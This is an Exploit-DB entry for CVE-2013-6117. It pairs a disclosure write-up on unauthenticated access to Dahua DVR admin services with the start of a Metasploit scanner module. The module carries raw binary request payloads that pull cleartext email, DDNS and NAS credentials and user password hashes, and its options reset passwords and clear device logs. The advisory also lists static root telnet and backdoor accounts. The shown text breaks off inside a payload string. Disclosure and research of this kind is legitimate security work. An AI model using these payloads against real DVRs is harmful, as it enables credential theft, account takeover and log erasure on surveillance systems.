Exploit-DB #29673
Description: Dahua DVR 2.608.0000.0/2.608.GV00.0 - Authentication Bypass (Metasploit)
Type: webapps
Platform: hardware
Date: 2013-11-18
Author: Jake Reynolds

Exploit:
Dahua DVR Authentication Bypass - CVE-2013-6117

--Summary--

Dahua web-enabled DVRs and rebranded versions do not enforce authentication on their administrative services.

# Zhejiang Dahua Technology Co., Ltd.
# http://www.dahuasecurity.com

--Affects--

# Dahua web-enabled DVRs
# Dahua-rebranded web-enabled DVRs
# Verified on v2.608.0000.0 and 2.608.GV00.0

--Details--

Dahua web-enabled DVRs utilize fat-client utilities like PSS, mobile client interfaces like iDMSS, and an ActiveX control, "webrec.cab" for browser-based access. These clients communicate with an administrative service which runs on TCP port 37777 by default and can be changed. At least in the case of the ActiveX control, a simple binary protocol is used. The various commands supported by the server are not authorized in any way. Authentication simply serves as a way to let the client transition past the login screen. Various commands can be replayed to any DVR sans authentication. These include:

# Get the firmware version
# Get the serial number
# Get the email settings (includes username, SMTP server, and cleartext creds)
# Get the DDNS settings (includes the DDNS service, server, and cleartext creds)
# Get the NAS settings (again, cleartext creds)
# Get the users (username, group membership, and hashed passwords)
# Get the user groups (group name, description, etc)
# Get the channels (camera channel names, e.g. "bedroom" "cocina")
# Clear the logs (handy)
# Change a user's password (unauthorized access)

More Details: http://blog.depthsecurity.com/2013/11/dahua-dvr-authentication-bypass-cve.html

--MetaSploit Module--

We wrote a MetaSploit scanner module as a proof of concept. It is multithreaded and can look for a specified port, scan networks, find DVRs, get all the above info, change a user's password, and clear the logs when it's through. 

# GIT Repo: https://github.com/depthsecurity/dahua_dvr_auth_bypass.git

--Other Concerns--

# Some nearly simultaneous research independent of mine: http://www.kb.cert.org/vuls/id/800094 
# CVE-2013-3612: DVRs listen for telnet by default and the root password is static and publicly known on all devices. (http://www.cctvforum.com/viewtopic.php?f=3&t=32408) 
# Other backdoor accounts exist, including one with a revolving password that is a simple date hash.
# CVE-2013-3613: UPnP requests from untrusted addresses is supported and could be used to get publicly accessible telnet on a DVR.
# CVE-2013-3614: Passwords are limited to 6 chars.
# CVE-2013-3615: A weak 48-bit hash is utilized to protect DVR account passwords. 
# We admittedly did not perform any serious fuzzing of the vulnerable service so there is a large potential for more serious vulnerabilities that allow RCE. 
# Also, the DVRs listen on many different ports including telnet besides those necessary for web access (TCP/80,37777,&37778 by default). 
# SMTP, NAS, and DDNS credentials were all stored and transferred in cleartext. 

--Mitigation--

The best advice for now is to make sure these devices are not publicly accessible to the internet. Dahua initially stated they would work on fixing the issues but went radio silent afterwards.

--Timeline--

# 8/26/2013: Identified authorization flaw
# 8/27/2013: Wrote proof of concept tool/scanner
# 8/28/2013: Disclosed issue to Dahua
# 8/30/2013: Received initial response from Dahua including request for more info
# 8/30/2013: Responded to Dahua with requested info
# 9/2/2013: Received confirmation that Dahua R&D is working to fix the issue
# 10/2/2013: Requested status update from Dahua
# 10/10/2013: Re-requested status update from Dahua after no response from 10/2/2013
# 11/13/2013: Publicly disclosed vulnerability

Jake Reynolds - Partner / Principal Consultant   

require 'msf/core'
class Metasploit3 < Msf::Auxiliary
        include Msf::Exploit::Remote::Tcp
        include Msf::Auxiliary::Scanner
	include Msf::Auxiliary::Report

        def initialize
                super(
                        'Name'           => 'Dahua DVR Auth Bypas Scanner',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => 'Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs',
                        'Author'         => 'Jake Reynolds - Depth Security',
                        'License'        => MSF_LICENSE
                )
		deregister_options('RHOST')
                register_options(
                        [
 				OptString.new('USERNAME', [true, 'A username to reset', '888888']),
 				OptString.new('PASSWORD', [true, 'A password to reset the user with', 'abc123']),
				OptBool.new('RESET', [true, 'Reset an existing user\'s pw?', 'FALSE']),
				OptBool.new('CLEAR_LOGS', [true, 'Clear the DVR logs when we\'re done?', 'TRUE']),
                                Opt::RPORT(37777)
                        ], self.class)
        end

        def run_host(ip)
		usercount = 0
		u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
		     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00"
		version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" +
			  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" +
			 "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" +
			"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" +
		      "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
			    "\x00\x00\x00\x00\x00\x00\x0